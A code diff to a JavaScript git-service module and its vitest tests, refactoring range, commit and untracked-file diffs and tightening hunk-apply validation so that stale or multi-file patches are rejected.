export async function getDiff(directory, { path: filePath, staged = false, contextLines = 3 } = {}) {
|
||||
const { directoryPath, directoryGit, repoRoot, git } = await createRepositoryGitContext(directory);
|
||||
|
||||
try {
|
||||
const args = ['diff', '--no-color'];
|
||||
const args = ['diff', '--no-color', '--full-index'];
|
||||
const fileContext = filePath ? await resolveGitFileContext(directoryPath, directoryGit, filePath, repoRoot) : null;
|
||||
|
||||
if (typeof contextLines === 'number' && !Number.isNaN(contextLines)) {
|
||||
@@ -2514,21 +2530,7 @@ export async function getDiff(directory, { path: filePath, staged = false, conte
|
||||
].join('\n');
|
||||
}
|
||||
|
||||
const noIndexArgs = ['diff', '--no-color'];
|
||||
if (typeof contextLines === 'number' && !Number.isNaN(contextLines)) {
|
||||
noIndexArgs.push(`-U${Math.max(0, contextLines)}`);
|
||||
}
|
||||
noIndexArgs.push('--no-index', '--', '/dev/null', fileContext.repoPath);
|
||||
try {
|
||||
const noIndexDiff = await git.raw(noIndexArgs);
|
||||
return noIndexDiff;
|
||||
} catch (noIndexError) {
|
||||
// git diff --no-index returns exit code 1 when differences exist (not a real error)
|
||||
if (noIndexError.exitCode === 1 && noIndexError.message) {
|
||||
return noIndexError.message;
|
||||
}
|
||||
throw noIndexError;
|
||||
}
|
||||
return await getNoIndexDiff(repoRoot, fileContext.repoPath, contextLines);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Failed to get Git diff:', error);
|
||||
@@ -2577,7 +2579,7 @@ export async function getUntrackedDiffs(directory, filePaths = [], { concurrency
|
||||
const paths = (Array.isArray(filePaths) ? filePaths : []).filter((value) => typeof value === 'string' && value);
|
||||
if (paths.length === 0) return [];
|
||||
|
||||
const { directoryPath, directoryGit, repoRoot, git } = await createRepositoryGitContext(directory);
|
||||
const { directoryPath, directoryGit, repoRoot } = await createRepositoryGitContext(directory);
|
||||
const results = new Array(paths.length).fill('');
|
||||
let cursor = 0;
|
||||
|
||||
@@ -2586,18 +2588,7 @@ export async function getUntrackedDiffs(directory, filePaths = [], { concurrency
|
||||
const index = cursor++;
|
||||
try {
|
||||
const fileContext = await resolveGitFileContext(directoryPath, directoryGit, paths[index], repoRoot);
|
||||
const args = ['diff', '--no-color'];
|
||||
if (typeof contextLines === 'number' && !Number.isNaN(contextLines)) {
|
||||
args.push(`-U${Math.max(0, contextLines)}`);
|
||||
}
|
||||
args.push('--no-index', '--', '/dev/null', fileContext.repoPath);
|
||||
try {
|
||||
results[index] = await git.raw(args);
|
||||
} catch (error) {
|
||||
// `git diff --no-index` exits 1 whenever there are differences, which
|
||||
// for a new file is always.
|
||||
results[index] = error?.exitCode === 1 && error?.message ? error.message : '';
|
||||
}
|
||||
results[index] = await getNoIndexDiff(repoRoot, fileContext.repoPath, contextLines);
|
||||
} catch {
|
||||
results[index] = '';
|
||||
}
|
||||
@@ -2627,7 +2618,51 @@ async function assertRangeRefsResolve(git, refs) {
|
||||
}
|
||||
}
|
||||
|
||||
export async function getRangeDiff(directory, { base, head, path: filePath, contextLines = 3 } = {}) {
|
||||
// A private index lets git include untracked paths in the same tree comparison
|
||||
// as tracked files, including a staged deletion recreated at the same path.
|
||||
// Intent-to-add records only their existence; diff reads current file contents.
|
||||
async function runWorkingTreeRangeDiff(context, baseRef, headRef, args, paths = []) {
|
||||
const { git, repoRoot } = context;
|
||||
const readHead = async () => {
|
||||
const commit = (await git.raw(['rev-parse', '--verify', 'HEAD'])).trim();
|
||||
const ref = (await git.raw(['symbolic-ref', '--quiet', 'HEAD'])).trim();
|
||||
return `${commit}\n${ref}`;
|
||||
};
|
||||
const startingHead = await readHead();
|
||||
const [headCommit, currentRef] = startingHead.split('\n');
|
||||
const requestedRef = (await git.raw(['rev-parse', '--verify', '--symbolic-full-name', '--end-of-options', headRef])).trim();
|
||||
if (requestedRef !== currentRef) {
|
||||
throw new Error('Working-tree comparisons require the checked-out branch. Refresh and try again.');
|
||||
}
|
||||
const mergeBase = (await git.raw(['merge-base', baseRef, headCommit])).trim();
|
||||
const readDiff = async (comparisonGit) => {
|
||||
const diff = await comparisonGit.raw([...args, mergeBase, '--', ...paths]);
|
||||
if (await readHead() !== startingHead) {
|
||||
throw new Error('The checked-out branch changed during comparison. Refresh and try again.');
|
||||
}
|
||||
return diff;
|
||||
};
|
||||
const untracked = await git.raw(['ls-files', '--others', '--exclude-standard', '-z', '--', ...paths]);
|
||||
if (!untracked) return readDiff(git);
|
||||
|
||||
const temporaryDirectory = await fsp.mkdtemp(path.join(os.tmpdir(), 'openchamber-branch-diff-'));
|
||||
try {
|
||||
const indexPath = (await git.raw(['rev-parse', '--git-path', 'index'])).trim();
|
||||
const temporaryIndex = path.join(temporaryDirectory, 'index');
|
||||
await fsp.copyFile(path.resolve(repoRoot, indexPath), temporaryIndex);
|
||||
const pathspecFile = path.join(temporaryDirectory, 'paths');
|
||||
await fsp.writeFile(pathspecFile, untracked);
|
||||
const comparisonGit = await createGit(repoRoot);
|
||||
comparisonGit.env('GIT_INDEX_FILE', temporaryIndex);
|
||||
comparisonGit.env('GIT_LITERAL_PATHSPECS', '1');
|
||||
await comparisonGit.raw(['add', '--intent-to-add', '--pathspec-from-file=' + pathspecFile, '--pathspec-file-nul']);
|
||||
return await readDiff(comparisonGit);
|
||||
} finally {
|
||||
await fsp.rm(temporaryDirectory, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
export async function getRangeDiff(directory, { base, head, path: filePath, contextLines = 3, includeWorkingTree = false } = {}) {
|
||||
const { directoryPath, directoryGit, repoRoot, git } = await createRepositoryGitContext(directory);
|
||||
const baseRef = typeof base === 'string' ? base.trim() : '';
|
||||
const headRef = typeof head === 'string' ? head.trim() : '';
|
||||
@@ -2635,51 +2670,39 @@ export async function getRangeDiff(directory, { base, head, path: filePath, cont
|
||||
throw new Error('base and head are required');
|
||||
}
|
||||
|
||||
// Prefer remote-tracking base ref so merged commits don't reappear
|
||||
// when local base branch is stale (common when user stays on feature branch).
|
||||
let resolvedBase = baseRef;
|
||||
const originCandidate = `refs/remotes/origin/${baseRef}`;
|
||||
try {
|
||||
const verified = await git.raw(['rev-parse', '--verify', originCandidate]);
|
||||
if (verified && verified.trim()) {
|
||||
resolvedBase = `origin/${baseRef}`;
|
||||
}
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
|
||||
// Not every repository has an `origin`. When the base names a branch that
|
||||
// exists only on another remote, a bare name does not resolve — git looks in
|
||||
// refs/heads, not across remotes — and the diff fails with "ambiguous
|
||||
// argument". Fall back to whichever remote actually carries it.
|
||||
if (resolvedBase === baseRef && !/[*?[\]^~:\\]/.test(baseRef)) {
|
||||
const resolvesLocally = await git
|
||||
.raw(['rev-parse', '--verify', `refs/heads/${baseRef}`])
|
||||
.then((value) => Boolean(String(value || '').trim()))
|
||||
.catch(() => false);
|
||||
|
||||
if (!resolvesLocally) {
|
||||
const remoteMatch = await git
|
||||
.raw(['for-each-ref', '--count=1', '--format=%(refname:short)', `refs/remotes/*/${baseRef}`])
|
||||
.then((value) => String(value || '').trim())
|
||||
.catch(() => '');
|
||||
if (remoteMatch) {
|
||||
resolvedBase = remoteMatch;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
await assertRangeRefsResolve(git, [resolvedBase, headRef]);
|
||||
await assertRangeRefsResolve(git, [baseRef, headRef]);
|
||||
|
||||
const args = ['diff', '--no-color'];
|
||||
if (typeof contextLines === 'number' && !Number.isNaN(contextLines)) {
|
||||
args.push(`-U${Math.max(0, contextLines)}`);
|
||||
}
|
||||
args.push(`${resolvedBase}...${headRef}`);
|
||||
const paths = [];
|
||||
if (filePath) {
|
||||
const fileContext = await resolveGitFileContext(directoryPath, directoryGit, filePath, repoRoot);
|
||||
args.push('--', fileContext.repoPath);
|
||||
try {
|
||||
const fileContext = await resolveGitFileContext(directoryPath, directoryGit, filePath, repoRoot);
|
||||
paths.push(fileContext.repoPath);
|
||||
} catch (error) {
|
||||
if (error.message !== 'Invalid file path') throw error;
|
||||
// A committed deletion is absent from HEAD, the index, and the working
|
||||
// tree. It is still a valid range path when it exists at the merge base.
|
||||
const mergeBase = (await git.raw(['merge-base', baseRef, headRef])).trim();
|
||||
for (const root of new Set([repoRoot, directoryPath])) {
|
||||
const target = path.resolve(root, filePath);
|
||||
if (!isInsideOrSameDirectory(repoRoot, target)) continue;
|
||||
const repoPath = toGitPath(path.relative(repoRoot, target));
|
||||
const exists = await git.raw(['cat-file', '-e', `${mergeBase}:${repoPath}`]).then(() => true).catch(() => false);
|
||||
if (exists) {
|
||||
paths.push(repoPath);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (paths.length === 0) throw error;
|
||||
}
|
||||
}
|
||||
if (includeWorkingTree) {
|
||||
return runWorkingTreeRangeDiff({ git, repoRoot }, baseRef, headRef, args, paths);
|
||||
}
|
||||
args.push(`${baseRef}...${headRef}`, '--', ...paths);
|
||||
const diff = await git.raw(args);
|
||||
return diff;
|
||||
}
|
||||
@@ -2701,6 +2724,9 @@ export function parseBranchCreationSource(reflogText) {
|
||||
.split('\n')
|
||||
.map((line) => line.trim())
|
||||
.filter(Boolean);
|
||||
// Rebase records its destination as a commit, not a parent branch. The
|
||||
// creation ref is no longer evidence of the current base after restacking.
|
||||
if (lines.some((line) => /^rebase(?:\s|\()/.test(line))) return null;
|
||||
// Reflog lists newest entries first; the creation entry is the oldest one.
|
||||
for (let index = lines.length - 1; index >= 0; index -= 1) {
|
||||
const match = lines[index].match(BRANCH_CREATION_SOURCE_RE);
|
||||
@@ -2752,31 +2778,23 @@ export async function getBranchBase(directory, branch) {
|
||||
return { base: source };
|
||||
}
|
||||
|
||||
export async function getRangeFiles(directory, { base, head } = {}) {
|
||||
const { git } = await createRepositoryGitContext(directory);
|
||||
export async function getRangeFiles(directory, { base, head, includeWorkingTree = false } = {}) {
|
||||
const { git, repoRoot } = await createRepositoryGitContext(directory);
|
||||
const baseRef = typeof base === 'string' ? base.trim() : '';
|
||||
const headRef = typeof head === 'string' ? head.trim() : '';
|
||||
if (!baseRef || !headRef) {
|
||||
throw new Error('base and head are required');
|
||||
}
|
||||
|
||||
let resolvedBase = baseRef;
|
||||
const originCandidate = `refs/remotes/origin/${baseRef}`;
|
||||
try {
|
||||
const verified = await git.raw(['rev-parse', '--verify', originCandidate]);
|
||||
if (verified && verified.trim()) {
|
||||
resolvedBase = `origin/${baseRef}`;
|
||||
}
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
|
||||
await assertRangeRefsResolve(git, [resolvedBase, headRef]);
|
||||
await assertRangeRefsResolve(git, [baseRef, headRef]);
|
||||
|
||||
// `-C` (copy detection among changed files only, so cheap) makes copies
|
||||
// surface as C entries instead of plain additions; rename detection is on
|
||||
// by default.
|
||||
const raw = await git.raw(['diff', '--name-status', '-z', '-C', `${resolvedBase}...${headRef}`]);
|
||||
const args = ['diff', '--name-status', '-z', '-C'];
|
||||
const raw = includeWorkingTree
|
||||
? await runWorkingTreeRangeDiff({ git, repoRoot }, baseRef, headRef, args)
|
||||
: await git.raw([...args, `${baseRef}...${headRef}`, '--']);
|
||||
// -z format: STATUS\0PATH\0[ORIG\0] repeated. For rename/copy entries
|
||||
// (`R100`, `C75`) the first path token is the ORIGINAL path and the second
|
||||
// is the DESTINATION — the diff (and the UI) must address the destination.
|
||||
@@ -2786,7 +2804,7 @@ export async function getRangeFiles(directory, { base, head } = {}) {
|
||||
const status = (tokens[index] || '').trim();
|
||||
if (!status) continue;
|
||||
const isRenameOrCopy = status.startsWith('R') || status.startsWith('C');
|
||||
const path = isRenameOrCopy ? (tokens[index + 2] || '').trim() : (tokens[index + 1] || '').trim();
|
||||
const path = isRenameOrCopy ? (tokens[index + 2] || '') : (tokens[index + 1] || '');
|
||||
index += isRenameOrCopy ? 2 : 1;
|
||||
if (path) {
|
||||
files.push({ path, status: status.charAt(0) });
|
||||
@@ -2832,27 +2850,6 @@ const parseIsBinaryFromNumstat = (raw) => {
|
||||
return added === '-' || deleted === '-';
|
||||
};
|
||||
|
||||
const extractGitStatusPath = (status, pathPart) => {
|
||||
if ((status === 'R' || status === 'C') && pathPart.includes('\t')) {
|
||||
return pathPart.split('\t').pop() || pathPart;
|
||||
}
|
||||
return pathPart;
|
||||
};
|
||||
|
||||
const extractGitNumstatDestinationPath = (filePath) => {
|
||||
if (!filePath.includes(' => ')) {
|
||||
return filePath;
|
||||
}
|
||||
|
||||
const braceMatch = filePath.match(/^(.*)\{([^{}]*)\s=>\s([^{}]*)\}(.*)$/);
|
||||
if (braceMatch) {
|
||||
const [, prefix, , destination, suffix] = braceMatch;
|
||||
return `${prefix}${destination}${suffix}`.replace(/\/+/g, '/');
|
||||
}
|
||||
|
||||
return filePath.split(' => ').pop()?.trim() || filePath;
|
||||
};
|
||||
|
||||
const looksBinaryBySniff = async (absolutePath) => {
|
||||
try {
|
||||
const handle = await fsp.open(absolutePath, 'r');
|
||||
@@ -3102,11 +3099,13 @@ const normalizePatchTargetPath = (value) => {
|
||||
};
|
||||
|
||||
const extractPatchTargetPath = (patch) => {
|
||||
const matches = [...patch.matchAll(/^(?:-{3}|\+{3})\s+.+$/gm)];
|
||||
const firstHunk = patch.search(/^@@\s/m);
|
||||
const header = firstHunk < 0 ? patch : patch.slice(0, firstHunk);
|
||||
const matches = [...header.matchAll(/^(?:-{3}|\+{3})\s+.+$/gm)];
|
||||
const realTargets = matches
|
||||
.map((match) => normalizePatchTargetPath(parsePatchPathToken(match[0])))
|
||||
.filter(Boolean);
|
||||
return realTargets[0] || null;
|
||||
return realTargets.at(-1) || null;
|
||||
};
|
||||
|
||||
const writeTempPatchFile = async (patch) => {
|
||||
@@ -3134,9 +3133,21 @@ export async function applyHunk(directory, filePath, options = {}) {
|
||||
const fileContext = await resolveGitFileContext(directoryPath, directoryGit, filePath, repoRoot);
|
||||
validateRepositoryFilePaths(repoRoot, [fileContext.repoPath]);
|
||||
|
||||
const targetPath = extractPatchTargetPath(patch);
|
||||
if (targetPath && targetPath !== fileContext.repoPath && targetPath !== filePath) {
|
||||
throw new Error('patch target path does not match the requested file');
|
||||
// Applicability alone is insufficient: a previously staged or committed
|
||||
// hunk may still reverse cleanly against the working tree. Accept only a
|
||||
// canonical hunk from this file's current working/index diff.
|
||||
const current = await getDiff(directory, { path: filePath, staged: action === 'unstage', contextLines: 3 });
|
||||
const starts = [...current.matchAll(/^@@\s/gm)].map((match) => match.index);
|
||||
const header = current.slice(0, starts[0] ?? 0);
|
||||
const isCurrentHunk = starts.some((start, index) => (
|
||||
header + current.slice(start, starts[index + 1] ?? current.length) === patch
|
||||
));
|
||||
if (!isCurrentHunk) {
|
||||
const targetPath = extractPatchTargetPath(patch);
|
||||
if (targetPath && targetPath !== fileContext.repoPath && targetPath !== filePath) {
|
||||
throw new Error('patch target path does not match the requested file');
|
||||
}
|
||||
throw new Error('Hunk no longer applies — refresh and try again.');
|
||||
}
|
||||
|
||||
const flags = HUNK_ACTION_FLAGS[action];
|
||||
@@ -4678,12 +4689,11 @@ export async function getLog(directory, options = {}) {
|
||||
};
|
||||
const resolvedFrom = await resolveBaseRefForLog(options.from, checkRef);
|
||||
|
||||
const baseLog = await git.log({
|
||||
maxCount,
|
||||
from: resolvedFrom,
|
||||
to: options.to,
|
||||
file: filePath
|
||||
});
|
||||
// simple-git's `to` alone means HEAD..to, which is empty for the current
|
||||
// branch. A single requested ref means its reachable history instead.
|
||||
const baseLog = options.to && !resolvedFrom
|
||||
? await git.log([`--max-count=${maxCount}`, options.to, ...(filePath ? ['--', filePath] : [])])
|
||||
: await git.log({ maxCount, from: resolvedFrom, to: options.to, file: filePath });
|
||||
|
||||
const logArgs = [
|
||||
'log',
|
||||
@@ -4927,85 +4937,61 @@ export async function canonicalizeWorktreeState(directory) {
|
||||
};
|
||||
}
|
||||
|
||||
async function resolveCommitHash(git, hash) {
|
||||
if (!/^[0-9a-f]{7,64}$/i.test(hash)) throw new Error('A commit hash is required');
|
||||
return (await git.raw(['rev-parse', '--verify', '--end-of-options', `${hash}^{commit}`])).trim();
|
||||
}
|
||||
|
||||
const commitShowArgs = (hash) => ['show', '--format=', '--root', '--diff-merges=first-parent', '--find-renames', hash];
|
||||
|
||||
export async function getCommitDiff(directory, { hash, path: filePath, previousPath, contextLines = 3 } = {}) {
|
||||
const { git } = await createRepositoryGitContext(directory);
|
||||
const commit = await resolveCommitHash(git, hash);
|
||||
const paths = [filePath, previousPath].filter(Boolean).map((value) => `:(literal)${value}`);
|
||||
return git.raw([
|
||||
...commitShowArgs(commit), '--no-color', '--no-ext-diff', `-U${Math.max(0, contextLines)}`,
|
||||
'--', ...paths,
|
||||
]);
|
||||
}
|
||||
|
||||
export async function getCommitFiles(directory, commitHash) {
|
||||
const { git } = await createRepositoryGitContext(directory);
|
||||
|
||||
try {
|
||||
|
||||
const numstatRaw = await git.raw([
|
||||
'show',
|
||||
'--numstat',
|
||||
'--format=',
|
||||
commitHash
|
||||
]);
|
||||
|
||||
const files = [];
|
||||
const lines = numstatRaw.trim().split('\n').filter(Boolean);
|
||||
|
||||
for (const line of lines) {
|
||||
const parts = line.split('\t');
|
||||
if (parts.length < 3) continue;
|
||||
|
||||
const [insertionsRaw, deletionsRaw, ...pathParts] = parts;
|
||||
const filePath = pathParts.join('\t');
|
||||
if (!filePath) continue;
|
||||
|
||||
const insertions = insertionsRaw === '-' ? 0 : parseInt(insertionsRaw, 10) || 0;
|
||||
const deletions = deletionsRaw === '-' ? 0 : parseInt(deletionsRaw, 10) || 0;
|
||||
const isBinary = insertionsRaw === '-' && deletionsRaw === '-';
|
||||
|
||||
let changeType = 'M';
|
||||
let displayPath = filePath;
|
||||
|
||||
if (filePath.includes(' => ')) {
|
||||
changeType = 'R';
|
||||
|
||||
const match = filePath.match(/(?:\{[^}]*\s=>\s[^}]*\}|.*\s=>\s.*)/);
|
||||
if (match) {
|
||||
displayPath = filePath;
|
||||
}
|
||||
}
|
||||
|
||||
files.push({
|
||||
path: displayPath,
|
||||
insertions,
|
||||
deletions,
|
||||
isBinary,
|
||||
changeType
|
||||
});
|
||||
const hash = await resolveCommitHash(git, commitHash);
|
||||
const [numstat, nameStatus] = await Promise.all([
|
||||
git.raw([...commitShowArgs(hash), '--numstat', '-z', '--']),
|
||||
git.raw([...commitShowArgs(hash), '--name-status', '-z', '--']),
|
||||
]);
|
||||
const stats = new Map();
|
||||
const tokens = numstat.split('\0');
|
||||
for (let index = 0; index < tokens.length; index += 1) {
|
||||
const match = /^(\d+|-)\t(\d+|-)\t([\s\S]*)$/.exec(tokens[index]);
|
||||
if (!match) continue;
|
||||
let destination = match[3];
|
||||
if (!destination) {
|
||||
destination = tokens[index + 2];
|
||||
index += 2;
|
||||
}
|
||||
|
||||
const nameStatusRaw = await git.raw([
|
||||
'show',
|
||||
'--name-status',
|
||||
'--format=',
|
||||
commitHash
|
||||
]).catch(() => '');
|
||||
|
||||
const statusMap = new Map();
|
||||
const statusLines = nameStatusRaw.trim().split('\n').filter(Boolean);
|
||||
for (const line of statusLines) {
|
||||
const match = line.match(/^([AMDRC])\d*\t(.+)$/);
|
||||
if (match) {
|
||||
const [, status, pathPart] = match;
|
||||
statusMap.set(extractGitStatusPath(status, pathPart), status);
|
||||
}
|
||||
}
|
||||
|
||||
for (const file of files) {
|
||||
const basePath = extractGitNumstatDestinationPath(file.path);
|
||||
|
||||
const status = statusMap.get(basePath) || statusMap.get(file.path);
|
||||
if (status) {
|
||||
file.changeType = status;
|
||||
}
|
||||
}
|
||||
|
||||
return { files };
|
||||
} catch (error) {
|
||||
console.error('Failed to get commit files:', error);
|
||||
throw error;
|
||||
stats.set(destination, {
|
||||
insertions: Number.parseInt(match[1], 10) || 0,
|
||||
deletions: Number.parseInt(match[2], 10) || 0,
|
||||
isBinary: match[1] === '-',
|
||||
});
|
||||
}
|
||||
const files = [];
|
||||
const names = nameStatus.split('\0');
|
||||
for (let index = 0; index < names.length; index += 1) {
|
||||
const changeType = names[index].charAt(0);
|
||||
if (!changeType) continue;
|
||||
const renamed = changeType === 'R' || changeType === 'C';
|
||||
const previousPath = renamed ? names[++index] : undefined;
|
||||
const filePath = names[++index];
|
||||
const fileStats = stats.get(filePath);
|
||||
if (!filePath || !fileStats) throw new Error('Incomplete commit file statistics');
|
||||
const entry = { path: filePath, ...fileStats, changeType };
|
||||
if (previousPath) entry.previousPath = previousPath;
|
||||
files.push(entry);
|
||||
}
|
||||
return { files };
|
||||
}
|
||||
|
||||
export async function renameBranch(directory, oldName, newName) {
|
||||
|
||||
@@ -4,6 +4,8 @@ import os from 'node:os';
|
||||
import path from 'node:path';
|
||||
import { afterAll, afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import simpleGit from 'simple-git';
|
||||
import { loadSourceSections, parseSource, sourceKey } from '../walkthrough/sources.js';
|
||||
import { registerGitRoutes } from './routes.js';
|
||||
|
||||
import {
|
||||
checkoutBranch,
|
||||
@@ -14,6 +16,10 @@ import {
|
||||
getBranches,
|
||||
getUnpushedBranchCounts,
|
||||
getRangeDiff,
|
||||
getBranchBase,
|
||||
getCommitDiff,
|
||||
getCommitFiles,
|
||||
getLog,
|
||||
getStatus,
|
||||
getWorktrees,
|
||||
isGitRepository,
|
||||
@@ -29,6 +35,7 @@ import {
|
||||
unstageFiles,
|
||||
applyHunk,
|
||||
getDiff,
|
||||
getUntrackedDiffs,
|
||||
getFileDiff,
|
||||
validateWorktreeCreate,
|
||||
parseBranchCreationSource,
|
||||
@@ -183,28 +190,49 @@ describe.runIf(canRunGit())('setLocalIdentity', () => {
|
||||
"ssh -i '/tmp/test key' -o IdentitiesOnly=yes"
|
||||
);
|
||||
});
|
||||
|
||||
it('configures the stored credential helper for token auth with the targeted simple-git opt-in', async () => {
|
||||
const { tmpDir } = await createTempRepo();
|
||||
|
||||
await setLocalIdentity(tmpDir, {
|
||||
userName: 'Token User',
|
||||
userEmail: 'token@example.com',
|
||||
authType: 'token',
|
||||
host: 'github.com',
|
||||
});
|
||||
|
||||
expect(runGit(tmpDir, ['config', '--local', '--get', 'credential.helper']).trim()).toBe('store');
|
||||
});
|
||||
|
||||
it('clears the stored credential helper when switching to SSH auth', async () => {
|
||||
const { tmpDir } = await createTempRepo();
|
||||
|
||||
await setLocalIdentity(tmpDir, {
|
||||
userName: 'Token User',
|
||||
userEmail: 'token@example.com',
|
||||
authType: 'token',
|
||||
host: 'github.com',
|
||||
});
|
||||
await setLocalIdentity(tmpDir, {
|
||||
userName: 'SSH User',
|
||||
userEmail: 'ssh@example.com',
|
||||
authType: 'ssh',
|
||||
sshKey: '/tmp/test key',
|
||||
});
|
||||
|
||||
expect(runGit(tmpDir, ['config', '--local', '--get', 'core.sshCommand']).trim()).toBe(
|
||||
"ssh -i '/tmp/test key' -o IdentitiesOnly=yes"
|
||||
);
|
||||
expect(() => runGit(tmpDir, ['config', '--local', '--get', 'credential.helper'])).toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// applyHunk (per-hunk stage / unstage / discard)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/** Minimal unified-diff splitter: returns standalone per-hunk patches. */
|
||||
const splitHunks = (patch) => {
|
||||
const lines = patch.split(/\r?\n/);
|
||||
const headerEnd = lines.findIndex((line) => /^@@\s/.test(line));
|
||||
if (headerEnd === -1) return [];
|
||||
const header = lines.slice(0, headerEnd);
|
||||
const hunks = [];
|
||||
for (let i = headerEnd; i < lines.length; i += 1) {
|
||||
const line = lines[i];
|
||||
if (/^@@\s/.test(line)) hunks.push([...header, line]);
|
||||
else if (hunks.length > 0) hunks[hunks.length - 1].push(line);
|
||||
}
|
||||
return hunks.map((hunk) => hunk.join('\n'))
|
||||
.filter((hunk) => hunk.trim().length > 0)
|
||||
.map((hunk) => (hunk.endsWith('\n') ? hunk : `${hunk}\n`));
|
||||
};
|
||||
// Exercise the actual client splitter against the server apply boundary.
|
||||
import { splitPatchIntoHunks as splitHunks } from '../../../../ui/src/lib/diff/patchFileDiff.ts';
|
||||
|
||||
const writeFile = (repo, name, contents) =>
|
||||
fs.promises.writeFile(path.join(repo, name), contents, 'utf8');
|
||||
@@ -220,6 +248,77 @@ const readWorking = (repo) => fs.promises.readFile(path.join(repo, 'file.txt'),
|
||||
const readStaged = async (git) => (await git.raw(['show', ':file.txt'])).replace(/\r\n/g, '\n');
|
||||
|
||||
describe('applyHunk', () => {
|
||||
it('stages successive hunks and never discards a stale staged or committed patch', async () => {
|
||||
if (!canRunGit()) return;
|
||||
const { tmpDir, git } = await createTempRepo();
|
||||
const original = Array.from({ length: 60 }, (_, index) => `line${index}`);
|
||||
const changed = [...original];
|
||||
changed[1] = 'FIRST'; changed[25] = 'SECOND'; changed[50] = 'THIRD';
|
||||
await writeFile(tmpDir, 'file.txt', original.join('\n') + '\n');
|
||||
await git.add('file.txt'); await git.commit('Initial');
|
||||
await writeFile(tmpDir, 'file.txt', changed.join('\n') + '\n');
|
||||
const historical = splitHunks(await getDiff(tmpDir, { path: 'file.txt' }));
|
||||
expect(historical).toHaveLength(3);
|
||||
await applyHunk(tmpDir, 'file.txt', { patch: historical[0], action: 'stage' });
|
||||
const remaining = splitHunks(await getDiff(tmpDir, { path: 'file.txt' }));
|
||||
expect(remaining).toHaveLength(2);
|
||||
await applyHunk(tmpDir, 'file.txt', { patch: remaining[0], action: 'stage' });
|
||||
const stalePath = path.join(tmpDir, 'stale.patch');
|
||||
await fs.promises.writeFile(stalePath, historical[0]);
|
||||
// Git's reverse applicability check accepts it, but it is no longer an
|
||||
// unstaged hunk. The server must reject it before touching the working file.
|
||||
await git.raw(['apply', '--reverse', '--check', stalePath]);
|
||||
await expect(applyHunk(tmpDir, 'file.txt', { patch: historical[0], action: 'discard' })).rejects.toThrow('refresh and try again');
|
||||
expect(await readWorking(tmpDir)).toBe(changed.join('\n') + '\n');
|
||||
const last = splitHunks(await getDiff(tmpDir, { path: 'file.txt' }));
|
||||
expect(last).toHaveLength(1);
|
||||
await applyHunk(tmpDir, 'file.txt', { patch: last[0], action: 'discard' });
|
||||
changed[50] = original[50];
|
||||
expect(await readWorking(tmpDir)).toBe(changed.join('\n') + '\n');
|
||||
expect(await readStaged(git)).toBe(changed.join('\n') + '\n');
|
||||
const staged = splitHunks(await getDiff(tmpDir, { path: 'file.txt', staged: true }));
|
||||
await applyHunk(tmpDir, 'file.txt', { patch: staged[0], action: 'unstage' });
|
||||
expect(await readWorking(tmpDir)).toBe(changed.join('\n') + '\n');
|
||||
await git.add('file.txt'); await git.commit('Committed changes');
|
||||
await expect(applyHunk(tmpDir, 'file.txt', { patch: historical[0], action: 'discard' })).rejects.toThrow('refresh and try again');
|
||||
});
|
||||
|
||||
it.each(['crlf', 'mixed'])('preserves %s file bytes through stage, unstage and discard', async (endings) => {
|
||||
if (!canRunGit()) return;
|
||||
const { tmpDir, git } = await createTempRepo();
|
||||
await git.addConfig('core.autocrlf', 'false');
|
||||
const serialize = (first, last) => Array.from({ length: 30 }, (_, index) => {
|
||||
const text = index === 0 ? first : index === 29 ? last : `line${index}`;
|
||||
return text + (endings === 'crlf' || index % 2 === 0 ? '\r\n' : '\n');
|
||||
}).join('');
|
||||
const original = serialize('first', 'last');
|
||||
const edited = serialize('FIRST', 'LAST');
|
||||
await writeFile(tmpDir, 'file.txt', original);
|
||||
await git.add('file.txt'); await git.commit('Initial');
|
||||
await writeFile(tmpDir, 'file.txt', edited);
|
||||
const hunks = splitHunks(await getDiff(tmpDir, { path: 'file.txt' }));
|
||||
await applyHunk(tmpDir, 'file.txt', { patch: hunks[0], action: 'stage' });
|
||||
expect(await git.raw(['show', ':file.txt'])).toBe(serialize('FIRST', 'last'));
|
||||
const staged = splitHunks(await getDiff(tmpDir, { path: 'file.txt', staged: true }));
|
||||
await applyHunk(tmpDir, 'file.txt', { patch: staged[0], action: 'unstage' });
|
||||
expect(await git.raw(['show', ':file.txt'])).toBe(original);
|
||||
const working = splitHunks(await getDiff(tmpDir, { path: 'file.txt' }));
|
||||
await applyHunk(tmpDir, 'file.txt', { patch: working[0], action: 'discard' });
|
||||
expect(await fs.promises.readFile(path.join(tmpDir, 'file.txt'), 'utf8')).toBe(serialize('first', 'LAST'));
|
||||
});
|
||||
|
||||
it('rejects extra files hidden before the requested patch', async () => {
|
||||
if (!canRunGit()) return;
|
||||
const { tmpDir, git } = await createTempRepo();
|
||||
for (const name of ['file.txt', 'other.txt']) await writeFile(tmpDir, name, ORIGINAL_FILE);
|
||||
await git.add('.'); await git.commit('Initial');
|
||||
for (const name of ['file.txt', 'other.txt']) await writeFile(tmpDir, name, EDITED_FILE);
|
||||
const other = splitHunks(await getDiff(tmpDir, { path: 'other.txt' }))[0];
|
||||
const requested = splitHunks(await getDiff(tmpDir, { path: 'file.txt' }))[0];
|
||||
await expect(applyHunk(tmpDir, 'file.txt', { patch: requested + other, action: 'stage' })).rejects.toThrow('refresh and try again');
|
||||
expect(await git.raw(['diff', '--cached'])).toBe('');
|
||||
});
|
||||
|
||||
it('rejects an invalid action or a patch without a hunk header', async () => {
|
||||
const { tmpDir } = await createTempRepo();
|
||||
await expect(applyHunk(tmpDir, 'file.txt', { patch: '@@ -1 +1 @@\n a\n', action: 'bogus' })).rejects.toThrow(
|
||||
@@ -302,10 +401,9 @@ describe('applyHunk', () => {
|
||||
);
|
||||
});
|
||||
|
||||
it('accepts hunk patches for files with spaces in their path', async () => {
|
||||
it.each(['file name.txt', 'зміни.txt'])('accepts hunk patches for %s', async (filePath) => {
|
||||
if (!canRunGit()) return;
|
||||
const { tmpDir, git } = await createTempRepo();
|
||||
const filePath = 'file name.txt';
|
||||
await writeFile(tmpDir, filePath, ORIGINAL_FILE);
|
||||
await git.add(filePath);
